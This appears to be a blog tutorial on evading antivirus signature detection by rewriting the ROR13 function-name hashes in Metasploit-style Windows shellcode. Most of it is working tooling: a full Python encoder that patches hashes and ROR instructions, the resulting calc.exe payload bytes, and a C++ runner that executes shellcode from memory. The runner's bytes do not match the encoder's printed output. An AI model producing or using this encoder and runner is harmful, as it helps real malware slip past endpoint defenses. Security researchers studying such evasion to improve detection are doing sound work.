Shellcode often parses the Export Address Table of modules to determine the addresses of functions to be called, in a similar manner to how I’ve described here.
Metasploit, and similar systems that produce shellcode often lookup function names by hash value. The primary benefit of doing this is it reduces the size of the shellcode.
However, since these hash values are fixed, they are often targeted by Anti-Virus vendors. This article will look at how we go about changing these values to evade signature based detection.
ROR
Metasploit and CobaltStrike use ROR13 instructions to calculate a hash of functions that are imported. Rotate Right (ROR) is a assembly instruction that shifts all binary numbers to the right by a certain number of positions.
We can see the effect of a ROR instruction using WinDbg. In the below example, the r9d register is rotated to the right twice.
00000220`4af50038 41c1c902 ror r9d,2
0:000> .formats @r9d
Evaluate expression:
Hex: 00000000`80000014
Decimal: 2147483668
Decimal (unsigned) : 2147483668
Octal: 0000000000020000000024
Binary: 00000000 00000000 00000000 00000000 10000000 00000000 00000000 00010100
Chars: ........
Time: ***** Invalid
Float: low -2.8026e-044 high 0
Double: 1.061e-314
0:000> p
0:000> .formats @r9d
Evaluate expression:
Hex: 00000000`20000005
Decimal: 536870917
Decimal (unsigned) : 536870917
Octal: 0000000000004000000005
Binary: 00000000 00000000 00000000 00000000 00100000 00000000 00000000 00000101
Chars: .... ...
Time: Mon Jan 5 18:48:37 1987
Float: low 1.0842e-019 high 0
Double: 2.65249e-315
Python ROR13 Hash Calculation
The same algorithm used by Metasploit can be implemented in Python to determine the hash values.
# (dword >> bits) shifts the bits of dword to the right by bits positions.
# (dword << (32 - bits)) shifts the bits of dword to the left by 32 - bits positions.
# | performs a bitwise OR operation between the two shifted values, effectively combining the results of the right and left shifts.
# The result might be more than 32 bits long after the left shift, so using & 0xFFFFFFFF masks the result to ensure it fits within a 32-bit unsigned integer.
def ror(dword, bits):
return (dword >> bits | dword << (32 - bits)) & 0xFFFFFFFF
def unicode(string, uppercase=True):
# Module name is converted to unicode
if uppercase:
string = string.upper()
result = '\x00'.join(string) + '\x00'
return result
def calculate_hash(module, function, bits):
module_hash = 0
function_hash = 0
for c in unicode(module + '\x00'):
module_hash = ror(module_hash, bits)
module_hash += ord(c)
for c in function + '\x00':
function_hash = ror(function_hash, bits)
function_hash += ord(c)
print('[+] Module Hash: 0x%08X ' % (module_hash))
print('[+] Function Hash: 0x%08X ' % (function_hash))
hash = module_hash + function_hash & 0xFFFFFFFF
return hash
def main():
module = "Kernel32.dll"
function = "WinExec"
hash = calculate_hash(module, function, 13)
print('[+] Final Hash: 0x%08X ' % (hash))
if __name__ == "__main__":
main()
This should print out the hash for WinExec;
python lookup_function_name.py
[+] Module Hash: 0x92AF16DA
[+] Function Hash: 0xF4C07457
[+] Final Hash: 0x876F8B31
Modifying Existing Shellcode
The below code carries out the following steps;
- Uses pefile to list exported functions from a number of common DLL’s
- Generates ROR13 hashes based on these exported functions
- Scans supplied Shellcode for these values
- Replaces existing ROR hash values with hashes using a different key length (e.g, rotate X number of times) using a ROL operation
Obviously this code needs to be run on Windows to extract the function names from DLL’s!
import pefile
import os
from capstone import *
import argparse
hash_dict = dict()
def lookup_functions(dll_path):
pe = pefile.PE(dll_path)
export_dir = pe.OPTIONAL_HEADER.DATA_DIRECTORY[pefile.DIRECTORY_ENTRY['IMAGE_DIRECTORY_ENTRY_EXPORT']]
for exp in pe.DIRECTORY_ENTRY_EXPORT.symbols:
if exp.name:
function_name = exp.name.decode()
dll_name = os.path.basename(dll_path)
hash = calculate_hash(dll_name, function_name, 13, "ror")
hash_dict[hash] = dll_name + '!' + function_name
def ror(dword, bits):
return ((dword >> (bits%32)) | (dword << (32-(bits%32)))) & 0xffffffff
def rol(dword, bits):
return ((dword << (bits%32)) | (dword >> (32-(bits%32)))) & 0xffffffff
def unicode(string, uppercase=True):
result = ''
if uppercase:
string = string.upper()
for c in string:
result += c + '\x00'
return result
def calculate_hash(module, function, bits, hash_type):
module_hash = 0
function_hash = 0
for c in unicode(module + '\x00'):
if hash_type == "ror":
module_hash = ror(module_hash, bits)
if hash_type == "rol":
module_hash = rol(module_hash, bits)
module_hash += ord(c)
for c in function + '\x00':
if hash_type == "ror":
function_hash = ror(function_hash, bits)
if hash_type == "rol":
function_hash = rol(function_hash, bits)
function_hash += ord(c)
hash = module_hash + function_hash & 0xFFFFFFFF
return hash
def check_shellcode(shellcode, pattern):
byte_data = pattern.to_bytes(4, 'big')
reversed_bytes = byte_data[::-1]
index = shellcode.find(reversed_bytes)
return index
def replace_bytes_at_offset(data, offset, new_bytes):
data = bytearray(data)
end_offset = offset + len(new_bytes)
data[offset:end_offset] = new_bytes
return bytes(data)
def highlight_byte_changes(original_bytes, modified_bytes):
highlighted = []
for original, modified in zip(original_bytes, modified_bytes):
if original == modified:
highlighted.append(f"\\x{original:02X}")
else:
highlighted.append(f"\\x{original:02X} -> \\x{modified:02X}")
return "".join(highlighted)
def find_ror_instructions(data, search_bytes):
occurrences = []
index = 0
while True:
try:
index = data.index(search_bytes, index)
occurrences.append(index)
index += 1
except ValueError:
break
return occurrences
def process_shellcode(shellcode,my_key):
new_shellcode = shellcode
for key,value in hash_dict.items():
index = check_shellcode(shellcode, key)
if index != -1:
print('[+] 0x%08X = %s offset: %s' % (key, value, index))
dll_name = value.split('!')[0]
function_name = value.split('!')[1]
hash = calculate_hash(dll_name, function_name, my_key, "rol")
print('[+] New value: 0x%08X' % (hash))
byte_data = hash.to_bytes(4, 'big')
reversed_bytes = byte_data[::-1]
new_shellcode = replace_bytes_at_offset(new_shellcode, index, reversed_bytes)
hex_string = ''.join('\\x{:02X}'.format(byte) for byte in new_shellcode)
print("[+] Changing ROR key")
# \x41\xC1\xC9\x0D ror r9d,0xd
ror_instances = find_ror_instructions(new_shellcode,b"\x41\xC1\xC9\x0D")
for ror_offset in ror_instances:
bytes_key = my_key.to_bytes(1, 'big')
# We're replacing the ROR with a ROL here. ROR = \x41\xC1\xC9 ROL = \x41\xC1\xC1\
new_shellcode = replace_bytes_at_offset(new_shellcode, ror_offset, b"\x41\xC1\xC1" + bytes_key)
return new_shellcode
def main():
parser = argparse.ArgumentParser(description='Process shellcode.')
parser.add_argument('--shellcode', help='Filename containing raw shellcode')
parser.add_argument('--key', type=int, help='ROR key to be used')
parser.add_argument('--decompile', action='store_true', help='Show the resulting modified shellcode')
args = parser.parse_args()
file_path = args.shellcode
my_key = args.key
decompile = args.decompile
if (my_key < 32) or (my_key > 255):
print("[+] Key must be between 33 and 255")
exit()
if file_path and my_key:
print(f"[+] Encoding shellcode {file_path} using ROR key: {my_key}")
else:
print("[+] Please provide both --shellcode and --key arguments.")
exit()
# Populate hash_dict global variable
dll_paths = ['C:\\Windows\\System32\\kernel32.dll',
'C:\\Windows\\System32\\ws2_32.dll',
'C:\\Windows\\System32\\wininet.dll',
'C:\\Windows\\System32\\dnsapi.dll']
for dll in dll_paths:
lookup_functions(dll)
# Read existing shellcode
print("[+] Reading shellcode")
try:
with open(file_path, "rb") as file:
shellcode = file.read()
except FileNotFoundError:
print("File not found or cannot be opened.")
new_shellcode = process_shellcode(shellcode,my_key)
# Add some NOP's
position = 1
bytes_to_insert = b"\xFF\xC0\xFF\xC8" * 5 # INC EAX, DEC EAX
modified_shellcode = new_shellcode[:position] + bytes_to_insert + new_shellcode[position:]
# print("[+] Modifications")
# highlighted_changes = highlight_byte_changes(shellcode, modified_shellcode)
# print(highlighted_changes)
print("Shellcode size: " + str(len(modified_shellcode)))
print("[+] Final shellcode (C++)")
hex_string = ''.join('\\x{:02X}'.format(byte) for byte in modified_shellcode)
print(hex_string)
print("[+] Final shellcode (C#)")
hex_string = ''.join('0x{:02X},'.format(byte) for byte in modified_shellcode)
print(hex_string[:-1])
outputfile = "output.bin"
print("[+] Writing bytes to file: " + outputfile)
with open(outputfile, 'wb') as file:
file.write(modified_shellcode)
if (decompile == True):
print("[+] ASM Code")
md = Cs(CS_ARCH_X86, CS_MODE_64)
for i in md.disasm(modified_shellcode, 0x1000):
print("0x%x:\t%s\t%s\t%s" %(i.address, ' '.join('{:02x}'.format(x) for x in i.bytes), i.mnemonic, i.op_str))
if __name__ == "__main__":
main()
Running the Encoder
Executing the code, we can see the existing ROR13 values are identified and replaced with ROL33 values.
python function_encoder.py --shellcode calc.raw --key 33
[+] Encoding shellcode calc.raw using ROR key: 33
[+] Reading shellcode
[+] 0x56A2B5F0 = kernel32.dll!ExitProcess offset: 229
[+] New value: 0xC5EE264A
[+] 0x9DBD95A6 = kernel32.dll!GetVersion offset: 235
[+] New value: 0xC5EB3370
[+] 0x876F8B31 = kernel32.dll!WinExec offset: 222
[+] New value: 0xC5E8D7CA
[+] Changing ROR key
Shellcode size: 296
[+] Final shellcode (C++)
\xFC\xFF\xC0\xFF\xC8\xFF\xC0\xFF\xC8\xFF\xC0\xFF\xC8\xFF\xC0\xFF\xC8\xFF\xC0\xFF\xC8\x48\x83\xE4\xF0\xE8\xC0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xD2\x65\x48\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52\x20\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A\x4D\x31\xC9\x48\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\x41\xC1\xC1\x21\x41\x01\xC1\xE2\xED\x52\x41\x51\x48\x8B\x52\x20\x8B\x42\x3C\x48\x01\xD0\x8B\x80\x88\x00\x00\x00\x48\x85\xC0\x74\x67\x48\x01\xD0\x50\x8B\x48\x18\x44\x8B\x40\x20\x49\x01\xD0\xE3\x56\x48\xFF\xC9\x41\x8B\x34\x88\x48\x01\xD6\x4D\x31\xC9\x48\x31\xC0\xAC\x41\xC1\xC1\x21\x41\x01\xC1\x38\xE0\x75\xF1\x4C\x03\x4C\x24\x08\x45\x39\xD1\x75\xD8\x58\x44\x8B\x40\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40\x1C\x49\x01\xD0\x41\x8B\x04\x88\x48\x01\xD0\x41\x58\x41\x58\x5E\x59\x5A\x41\x58\x41\x59\x41\x5A\x48\x83\xEC\x20\x41\x52\xFF\xE0\x58\x41\x59\x5A\x48\x8B\x12\xE9\x57\xFF\xFF\xFF\x5D\x48\xBA\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8D\x8D\x01\x01\x00\x00\x41\xBA\xCA\xD7\xE8\xC5\xFF\xD5\xBB\x4A\x26\xEE\xC5\x41\xBA\x70\x33\xEB\xC5\xFF\xD5\x48\x83\xC4\x28\x3C\x06\x7C\x0A\x80\xFB\xE0\x75\x05\xBB\x47\x13\x72\x6F\x6A\x00\x59\x41\x89\xDA\xFF\xD5\x63\x61\x6C\x63\x2E\x65\x78\x65\x00
[+] Final shellcode (C#)
0xFC,0xFF,0xC0,0xFF,0xC8,0xFF,0xC0,0xFF,0xC8,0xFF,0xC0,0xFF,0xC8,0xFF,0xC0,0xFF,0xC8,0xFF,0xC0,0xFF,0xC8,0x48,0x83,0xE4,0xF0,0xE8,0xC0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xD2,0x65,0x48,0x8B,0x52,0x60,0x48,0x8B,0x52,0x18,0x48,0x8B,0x52,0x20,0x48,0x8B,0x72,0x50,0x48,0x0F,0xB7,0x4A,0x4A,0x4D,0x31,0xC9,0x48,0x31,0xC0,0xAC,0x3C,0x61,0x7C,0x02,0x2C,0x20,0x41,0xC1,0xC1,0x21,0x41,0x01,0xC1,0xE2,0xED,0x52,0x41,0x51,0x48,0x8B,0x52,0x20,0x8B,0x42,0x3C,0x48,0x01,0xD0,0x8B,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xC0,0x74,0x67,0x48,0x01,0xD0,0x50,0x8B,0x48,0x18,0x44,0x8B,0x40,0x20,0x49,0x01,0xD0,0xE3,0x56,0x48,0xFF,0xC9,0x41,0x8B,0x34,0x88,0x48,0x01,0xD6,0x4D,0x31,0xC9,0x48,0x31,0xC0,0xAC,0x41,0xC1,0xC1,0x21,0x41,0x01,0xC1,0x38,0xE0,0x75,0xF1,0x4C,0x03,0x4C,0x24,0x08,0x45,0x39,0xD1,0x75,0xD8,0x58,0x44,0x8B,0x40,0x24,0x49,0x01,0xD0,0x66,0x41,0x8B,0x0C,0x48,0x44,0x8B,0x40,0x1C,0x49,0x01,0xD0,0x41,0x8B,0x04,0x88,0x48,0x01,0xD0,0x41,0x58,0x41,0x58,0x5E,0x59,0x5A,0x41,0x58,0x41,0x59,0x41,0x5A,0x48,0x83,0xEC,0x20,0x41,0x52,0xFF,0xE0,0x58,0x41,0x59,0x5A,0x48,0x8B,0x12,0xE9,0x57,0xFF,0xFF,0xFF,0x5D,0x48,0xBA,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8D,0x8D,0x01,0x01,0x00,0x00,0x41,0xBA,0xCA,0xD7,0xE8,0xC5,0xFF,0xD5,0xBB,0x4A,0x26,0xEE,0xC5,0x41,0xBA,0x70,0x33,0xEB,0xC5,0xFF,0xD5,0x48,0x83,0xC4,0x28,0x3C,0x06,0x7C,0x0A,0x80,0xFB,0xE0,0x75,0x05,0xBB,0x47,0x13,0x72,0x6F,0x6A,0x00,0x59,0x41,0x89,0xDA,0xFF,0xD5,0x63,0x61,0x6C,0x63,0x2E,0x65,0x78,0x65,0x00
[+] Writing bytes to file: output.bin
The resulting shellcode can then be imported into a runner;
#include <Windows.h>
#include <iostream>
unsigned char code[] =
"\xFC\x48\x83\xE4\xF0\xE8\xC0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xD2\x65\x48\x8B"
"\x52\x60\x48\x8B\x52\x18\x48\x8B\x52\x20\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A\x4D\x31\xC9\x48"
"\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\x41\xC1\xC9\x0C\x41\x01\xC1\xE2\xED\x52\x41\x51\x48\x8B"
"\x52\x20\x8B\x42\x3C\x48\x01\xD0\x8B\x80\x88\x00\x00\x00\x48\x85\xC0\x74\x67\x48\x01\xD0\x50"
"\x8B\x48\x18\x44\x8B\x40\x20\x49\x01\xD0\xE3\x56\x48\xFF\xC9\x41\x8B\x34\x88\x48\x01\xD6\x4D"
"\x31\xC9\x48\x31\xC0\xAC\x41\xC1\xC9\x0C\x41\x01\xC1\x38\xE0\x75\xF1\x4C\x03\x4C\x24\x08\x45"
"\x39\xD1\x75\xD8\x58\x44\x8B\x40\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40\x1C\x49\x01"
"\xD0\x41\x8B\x04\x88\x48\x01\xD0\x41\x58\x41\x58\x5E\x59\x5A\x41\x58\x41\x59\x41\x5A\x48\x83"
"\xEC\x20\x41\x52\xFF\xE0\x58\x41\x59\x5A\x48\x8B\x12\xE9\x57\xFF\xFF\xFF\x5D\x48\xBA\x01\x00"
"\x00\x00\x00\x00\x00\x00\x48\x8D\x8D\x01\x01\x00\x00\x41\xBA\x03\x39\x68\xBB\xFF\xD5\xBB\x8B"
"\x4F\x16\xEC\x41\xBA\xB7\x7A\x96\xCE\xFF\xD5\x48\x83\xC4\x28\x3C\x06\x7C\x0A\x80\xFB\xE0\x75"
"\x05\xBB\x47\x13\x72\x6F\x6A\x00\x59\x41\x89\xDA\xFF\xD5\x63\x61\x6C\x63\x2E\x65\x78\x65\x00";
int main()
{
HANDLE buffer = VirtualAlloc(NULL, sizeof(code), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
memcpy(buffer, code, sizeof(code));
DWORD oldProtect;
VirtualProtect(buffer,sizeof(code),PAGE_EXECUTE_READ, &oldProtect);
(*(void(*)()) buffer)();
}
In Conclusion
Carrying out this slight modification can greatly reduce the shellcodes detection rates. Alternative instructions could be implemented, instead of using a ROR/ROL value. You would just need to ensure the new instructions do not generate hash collisions. To extend the concept further, you could implement bespoke PEB traversal code and attach that to the existing shellcode.